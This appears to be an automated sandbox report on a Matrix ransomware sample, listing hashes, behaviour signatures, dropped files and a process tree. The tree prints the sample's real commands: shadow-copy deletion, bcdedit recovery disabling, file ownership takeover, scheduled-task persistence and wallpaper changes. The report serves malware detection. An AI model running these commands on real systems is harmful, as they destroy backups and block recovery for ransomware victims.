Overview

overview

10

Static

static

e6b4bd102c...7c.exe

windows7_x64

10

e6b4bd102c...7c.exe

windows10-2004_x64

10

Analysis

  • max time kernel
    150s
  • max time network
    119s
  • platform
    windows7_x64
  • resource
    win7-en-20211208
  • submitted
    06-03-2022 03:26

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    e6b4bd102c3151b6639945d82eb560b00515ce82f64da494b38f29604473507c.exe

  • Size

    3.8MB

  • MD5

    6fa2ff1dad01f838e0bb814affccd0c6

  • SHA1

    8c26dfd9d19c3b45cd057f895f80d43326fc986d

  • SHA256

    e6b4bd102c3151b6639945d82eb560b00515ce82f64da494b38f29604473507c

  • SHA512

    de88757ee96943eaec582760b1631befb09ea8b9a5c8c757e24431978e3338ea7dd922e2b3dd1a47e514bb0ea93252171236f817c4d1220794e9472c8c2f24d3

Score
10/10
matrixdiscoveryevasionpersistenceransomwarespywarestealersuricataupx

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

http://myexternalip.com/raw

Signatures

  • Matrix Ransomware 64 IoCs

    Targeted ransomware with information collection and encryption functionality.

    ransomwarematrix
  • suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity

    suricata
  • Deletes shadow copies 2 TTPs

    Ransomware often targets backup files to inhibit system recovery.

    ransomware
  • Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs
    ransomwareevasion
  • Blocklisted process makes network request 1 IoCs
  • Drops file in Drivers directory 1 IoCs
  • Executes dropped EXE 3 IoCs
  • Sets service image path in registry 2 TTPs
    persistence
  • UPX packed file 3 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Loads dropped DLL 4 IoCs
  • Modifies file permissions 1 TTPs 1 IoCs
    discovery
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Drops desktop.ini file(s) 40 IoCs
  • Enumerates connected drives 3 TTPs 46 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Looks up external IP address via web service 1 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Sets desktop wallpaper using registry 2 TTPs 1 IoCs
    ransomware
  • Drops file in Program Files directory 64 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Creates scheduled task(s) 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistence
  • Interacts with shadow copies 2 TTPs 1 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

    ransomware
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious behavior: LoadsDriver 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 46 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 1 IoCs
    evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\e6b4bd102c3151b6639945d82eb560b00515ce82f64da494b38f29604473507c.exe
    "C:\Users\Admin\AppData\Local\Temp\e6b4bd102c3151b6639945d82eb560b00515ce82f64da494b38f29604473507c.exe"
    1⤵
    • Matrix Ransomware
    • Loads dropped DLL
    • Drops desktop.ini file(s)
    • Enumerates connected drives
    • Drops file in Program Files directory
    • Suspicious use of WriteProcessMemory
    PID:1480
    • C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\e6b4bd102c3151b6639945d82eb560b00515ce82f64da494b38f29604473507c.exe" "C:\Users\Admin\AppData\Local\Temp\NWvty47c.exe"
      2⤵
        PID:1664
      • C:\Users\Admin\AppData\Local\Temp\NWvty47c.exe
        "C:\Users\Admin\AppData\Local\Temp\NWvty47c.exe" -n
        2⤵
        • Executes dropped EXE
        PID:776
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\OURmPM4v.txt"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1768
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
          3⤵
          • Blocklisted process makes network request
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:1712
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\system32\cmd.exe" /C reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\nDCJa1RD.bmp" /f & reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f & reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1936
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v Wallpaper /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\nDCJa1RD.bmp" /f
          3⤵
          • Sets desktop wallpaper using registry
          PID:1612
        • C:\Windows\SysWOW64\reg.exe
          reg add "HKCU\Control Panel\Desktop" /v WallpaperStyle /t REG_SZ /d "0" /f
          3⤵
            PID:1316
          • C:\Windows\SysWOW64\reg.exe
            reg add "HKCU\Control Panel\Desktop" /v TileWallpaper /t REG_SZ /d "0" /f
            3⤵
            • Matrix Ransomware
            PID:812
        • C:\Windows\SysWOW64\cmd.exe
          "C:\Windows\system32\cmd.exe" /C wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\9zVfwl02.vbs"
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:1716
          • C:\Windows\SysWOW64\wscript.exe
            wscript //B //Nologo "C:\Users\Admin\AppData\Roaming\9zVfwl02.vbs"
            3⤵
              PID:1560
              • C:\Windows\SysWOW64\cmd.exe
                "C:\Windows\System32\cmd.exe" /C schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\ZSGAFl8k.bat" /sc minute /mo 5 /RL HIGHEST /F
                4⤵
                  PID:916
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /Create /tn DSHCA /tr "C:\Users\Admin\AppData\Roaming\ZSGAFl8k.bat" /sc minute /mo 5 /RL HIGHEST /F
                    5⤵
                    • Creates scheduled task(s)
                    PID:1512
                • C:\Windows\SysWOW64\cmd.exe
                  "C:\Windows\System32\cmd.exe" /C schtasks /Run /I /tn DSHCA
                  4⤵
                    PID:1712
                    • C:\Windows\SysWOW64\schtasks.exe
                      schtasks /Run /I /tn DSHCA
                      5⤵
                        PID:1620
                • C:\Windows\SysWOW64\cmd.exe
                  cmd /c ""C:\Users\Admin\AppData\Local\Temp\dkTIwLQn.bat" "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf""
                  2⤵
                  • Suspicious use of WriteProcessMemory
                  PID:1244
                  • C:\Windows\SysWOW64\attrib.exe
                    attrib -R -A -S "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"
                    3⤵
                    • Views/modifies file attributes
                    PID:428
                  • C:\Windows\SysWOW64\cacls.exe
                    cacls "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf" /E /G Admin:F /C
                    3⤵
                      PID:2028
                    • C:\Windows\SysWOW64\takeown.exe
                      takeown /F "C:\Program Files (x86)\Adobe\Reader 9.0\Reader\plug_ins\Annotations\Stamps\ENU\StandardBusiness.pdf"
                      3⤵
                      • Modifies file permissions
                      PID:2012
                    • C:\Windows\SysWOW64\cmd.exe
                      C:\Windows\system32\cmd.exe /c rhcykjvj.exe -accepteula "StandardBusiness.pdf" -nobanner
                      3⤵
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:1060
                      • C:\Users\Admin\AppData\Local\Temp\rhcykjvj.exe
                        rhcykjvj.exe -accepteula "StandardBusiness.pdf" -nobanner
                        4⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1020
                        • C:\Users\Admin\AppData\Local\Temp\rhcykjvj64.exe
                          rhcykjvj.exe -accepteula "StandardBusiness.pdf" -nobanner
                          5⤵
                          • Drops file in Drivers directory
                          • Executes dropped EXE
                          • Enumerates connected drives
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious behavior: LoadsDriver
                          • Suspicious use of AdjustPrivilegeToken
                          PID:276
                • C:\Windows\system32\taskeng.exe
                  taskeng.exe {48B64E2B-BD01-4A1F-B0AB-085CCC9D320B} S-1-5-21-2329389628-4064185017-3901522362-1000:QSKGHMYQ\Admin:Interactive:[1]
                  1⤵
                    PID:1704
                    • C:\Windows\SYSTEM32\cmd.exe
                      C:\Windows\SYSTEM32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\ZSGAFl8k.bat"
                      2⤵
                        PID:1788
                        • C:\Windows\system32\vssadmin.exe
                          vssadmin Delete Shadows /All /Quiet
                          3⤵
                          • Interacts with shadow copies
                          PID:2044
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic SHADOWCOPY DELETE
                          3⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1352
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {default} recoveryenabled No
                          3⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1980
                        • C:\Windows\system32\bcdedit.exe
                          bcdedit /set {default} bootstatuspolicy ignoreallfailures
                          3⤵
                          • Modifies boot configuration data using bcdedit
                          PID:1768
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN DSHCA /F
                          3⤵
                            PID:1084
                      • C:\Windows\system32\vssvc.exe
                        C:\Windows\system32\vssvc.exe
                        1⤵
                        • Suspicious use of AdjustPrivilegeToken
                        PID:288

                      Network

                      MITRE ATT&CK Enterprise v6

                      Replay Monitor

                      Loading Replay Monitor...

                      Downloads

                      • C:\Users\Admin\AppData\Local\Temp\NWvty47c.exe
                        MD5

                        6fa2ff1dad01f838e0bb814affccd0c6

                        SHA1

                        8c26dfd9d19c3b45cd057f895f80d43326fc986d

                        SHA256

                        e6b4bd102c3151b6639945d82eb560b00515ce82f64da494b38f29604473507c

                        SHA512

                        de88757ee96943eaec582760b1631befb09ea8b9a5c8c757e24431978e3338ea7dd922e2b3dd1a47e514bb0ea93252171236f817c4d1220794e9472c8c2f24d3

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\NWvty47c.exe
                        MD5

                        6fa2ff1dad01f838e0bb814affccd0c6

                        SHA1

                        8c26dfd9d19c3b45cd057f895f80d43326fc986d

                        SHA256

                        e6b4bd102c3151b6639945d82eb560b00515ce82f64da494b38f29604473507c

                        SHA512

                        de88757ee96943eaec582760b1631befb09ea8b9a5c8c757e24431978e3338ea7dd922e2b3dd1a47e514bb0ea93252171236f817c4d1220794e9472c8c2f24d3

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\OURmPM4v.txt
                        MD5

                        8eb51985066cb0782077f624013d47a2

                        SHA1

                        0549d07d51454e73b937946ba1887cacfce71835

                        SHA256

                        5537d10911f09132033b185344f75ea1a0ed7e5509b3be00bd8bc93d477baa44

                        SHA512

                        539a7160bb41366a74d8859b080724f5838132428f672c2bba7ef9c9a259823f15074adec75567bea6724f09d681c04b8763a2f495eff3436ff17420cb7bf0f5

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\dkTIwLQn.bat
                        MD5

                        c18d18344bf4d5c4e1ecd1d07c0dd046

                        SHA1

                        25a374ae037c96b4426817e157b94153a43d4013

                        SHA256

                        537ff3a18f4737e1ec85b49039f3fb03c3a52e7e5339c476f70f4aacdab8570c

                        SHA512

                        0c8a077b0b008787be8135c810b306a0c91c10d8d7e721c86f8b3141b3ea4eced5a8db636bc8dd77d98962413bbd401ac9d04126129aa7dad3c7f7b70cd2c44a

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\rhcykjvj.exe
                        MD5

                        2f5b509929165fc13ceab9393c3b911d

                        SHA1

                        b016316132a6a277c5d8a4d7f3d6e2c769984052

                        SHA256

                        0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                        SHA512

                        c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\rhcykjvj.exe
                        MD5

                        2f5b509929165fc13ceab9393c3b911d

                        SHA1

                        b016316132a6a277c5d8a4d7f3d6e2c769984052

                        SHA256

                        0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                        SHA512

                        c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                        Download Submit

                      • C:\Users\Admin\AppData\Local\Temp\rhcykjvj64.exe
                        MD5

                        3026bc2448763d5a9862d864b97288ff

                        SHA1

                        7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                        SHA256

                        7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                        SHA512

                        d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                        Download Submit

                      • C:\Users\Admin\AppData\Roaming\9zVfwl02.vbs
                        MD5

                        b71d1a42691eafa4c5623ed00c131ef1

                        SHA1

                        aea975684966eadf046203651dad8ac08a7631a7

                        SHA256

                        caa8519aafd9bd5f6fccc17e5f9c63a38d0f9bd605d5149213d978776c32da3b

                        SHA512

                        e7fb9d88710e92d1318885b11b17cec44fbe4f64b89341550dbe693707f6d110b54c55f815e58c26f6736a617bffc143bb6026da24062fe306e0935911c2ee5b

                        Download Submit

                      • C:\Users\Admin\AppData\Roaming\ZSGAFl8k.bat
                        MD5

                        f47421a77de5e18ba71a0e8c03a3279b

                        SHA1

                        3d23d9984432068a3dcc023e2aab016672481692

                        SHA256

                        fd7c6efdee52efb808d59d991866a30117c3f91228593937bc6e532569454d3c

                        SHA512

                        c5a2c39a631a7e7e2fabbd79b904c4daf8190f59f185cbb76bc67ed0db524aee2bef453e90d1bebef539e827d4e556ceb7e1d92fb2e1f52c8136ce7dc67e4cac

                        Download Submit

                      • \Users\Admin\AppData\Local\Temp\NWvty47c.exe
                        MD5

                        6fa2ff1dad01f838e0bb814affccd0c6

                        SHA1

                        8c26dfd9d19c3b45cd057f895f80d43326fc986d

                        SHA256

                        e6b4bd102c3151b6639945d82eb560b00515ce82f64da494b38f29604473507c

                        SHA512

                        de88757ee96943eaec582760b1631befb09ea8b9a5c8c757e24431978e3338ea7dd922e2b3dd1a47e514bb0ea93252171236f817c4d1220794e9472c8c2f24d3

                        Download Submit

                      • \Users\Admin\AppData\Local\Temp\NWvty47c.exe
                        MD5

                        6fa2ff1dad01f838e0bb814affccd0c6

                        SHA1

                        8c26dfd9d19c3b45cd057f895f80d43326fc986d

                        SHA256

                        e6b4bd102c3151b6639945d82eb560b00515ce82f64da494b38f29604473507c

                        SHA512

                        de88757ee96943eaec582760b1631befb09ea8b9a5c8c757e24431978e3338ea7dd922e2b3dd1a47e514bb0ea93252171236f817c4d1220794e9472c8c2f24d3

                        Download Submit

                      • \Users\Admin\AppData\Local\Temp\rhcykjvj.exe
                        MD5

                        2f5b509929165fc13ceab9393c3b911d

                        SHA1

                        b016316132a6a277c5d8a4d7f3d6e2c769984052

                        SHA256

                        0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

                        SHA512

                        c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

                        Download Submit

                      • \Users\Admin\AppData\Local\Temp\rhcykjvj64.exe
                        MD5

                        3026bc2448763d5a9862d864b97288ff

                        SHA1

                        7d93a18713ece2e7b93e453739ffd7ad0c646e9e

                        SHA256

                        7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

                        SHA512

                        d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

                        Download Submit

                      • memory/1480-55-0x0000000074B21000-0x0000000074B23000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/1712-65-0x00000000024F1000-0x00000000024F2000-memory.dmp

                        Filesize

                        4KB

                        Download

                      • memory/1712-66-0x00000000024F2000-0x00000000024F4000-memory.dmp

                        Filesize

                        8KB

                        Download

                      • memory/1712-64-0x0000000073680000-0x0000000073C2B000-memory.dmp

                        Filesize

                        5.7MB

                        Download

                      • memory/1712-62-0x0000000073680000-0x0000000073C2B000-memory.dmp

                        Filesize

                        5.7MB

                        Download

                      • memory/1712-63-0x00000000024F0000-0x00000000024F1000-memory.dmp

                        Filesize

                        4KB

                        Download